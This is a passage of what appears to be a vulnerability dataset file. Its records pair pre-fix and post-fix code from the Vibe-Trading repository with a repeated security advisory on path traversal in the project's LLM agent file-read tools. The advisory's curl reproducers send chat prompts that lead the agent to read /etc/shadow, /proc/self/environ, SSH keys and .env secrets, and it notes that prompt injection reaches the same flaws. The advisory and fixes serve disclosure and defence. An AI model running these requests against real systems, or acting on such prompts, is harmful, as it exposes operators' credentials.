`/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_run_worker_with_retries"
+function_lines = [[433, 441]]
+id = "hkuds-vibe-trading-53b8e8b13c96984b"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/swarm/runtime.py"
+post_fix = " def _run_worker_with_retries(\n self,\n agent_spec: SwarmAgentSpec,\n task: SwarmTask,\n upstream_summaries: dict[str, str],\n user_vars: dict[str, str],\n run_dir: Path,\n event_callback: Callable[[SwarmEvent], None] | None,\n run_id: str,\n include_shell_tools: bool = False,"
+pre_fix = " def _run_worker_with_retries(\n self,\n agent_spec: SwarmAgentSpec,\n task: SwarmTask,\n upstream_summaries: dict[str, str],\n user_vars: dict[str, str],\n run_dir: Path,\n event_callback: Callable[[SwarmEvent], None] | None,\n run_id: str,"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_is_local_client"
+function_lines = [[309, 319]]
+id = "hkuds-vibe-trading-54e08745442bc15e"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/api_server.py"
+post_fix = "def _is_local_client(request: Request) -> bool:\n \"\"\"Return whether the request originates from a loopback client.\"\"\"\n host = request.client.host if request.client else \"\"\n if host in {\"localhost\", \"testclient\"}:\n return True\n try:\n ip = ipaddress.ip_address(host)\n except ValueError:\n return False\n if ip.is_loopback:\n return True\n return _trusted_docker_loopback_ip(ip)\n\n"
+pre_fix = "def _is_local_client(request: Request) -> bool:\n \"\"\"Return whether the request originates from a loopback client.\"\"\"\n host = request.client.host if request.client else \"\"\n if host in {\"localhost\", \"testclient\"}:\n return True\n try:\n return ipaddress.ip_address(host).is_loopback\n except ValueError:\n return False\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "send_message"
+function_lines = [[85, 117]]
+id = "hkuds-vibe-trading-7f6e6e7392e1389e"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/session/service.py"
+post_fix = " async def send_message(\n self,\n session_id: str,\n content: str,\n role: str = \"user\",\n *,\n include_shell_tools: bool = False,"
+pre_fix = " async def send_message(self, session_id: str, content: str, role: str = \"user\") -> Dict[str, Any]:\n \"\"\"Send a message to a session and trigger execution.\n\n Args:\n session_id: Session ID.\n content: Message content.\n role: Message role.\n\n Returns:\n Dictionary containing message_id and attempt_id.\n \"\"\"\n session = self.store.get_session(session_id)\n if not session:\n raise ValueError(f\"Session {session_id} not found\")\n\n message = Message(session_id=session_id, role=role, content=content)\n self.store.append_message(message)\n self._search_index.index_message(session_id, role, content)\n self.event_bus.emit(session_id, \"message.received\", {\"message_id\": message.message_id, \"role\": role, \"content\": content})\n\n if role != \"user\":\n return {\"message_id\": message.message_id}\n\n attempt = Attempt(session_id=session_id, parent_attempt_id=session.last_attempt_id, prompt=content)\n self.store.create_attempt(attempt)\n session.last_attempt_id = attempt.attempt_id\n session.updated_at = datetime.now().isoformat()\n self.store.update_session(session)\n self.event_bus.emit(session_id, \"attempt.created\", {\"attempt_id\": attempt.attempt_id, \"prompt\": content})\n\n asyncio.create_task(self._run_attempt(session, attempt))\n return {\"message_id\": message.message_id, \"attempt_id\": attempt.attempt_id}\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with 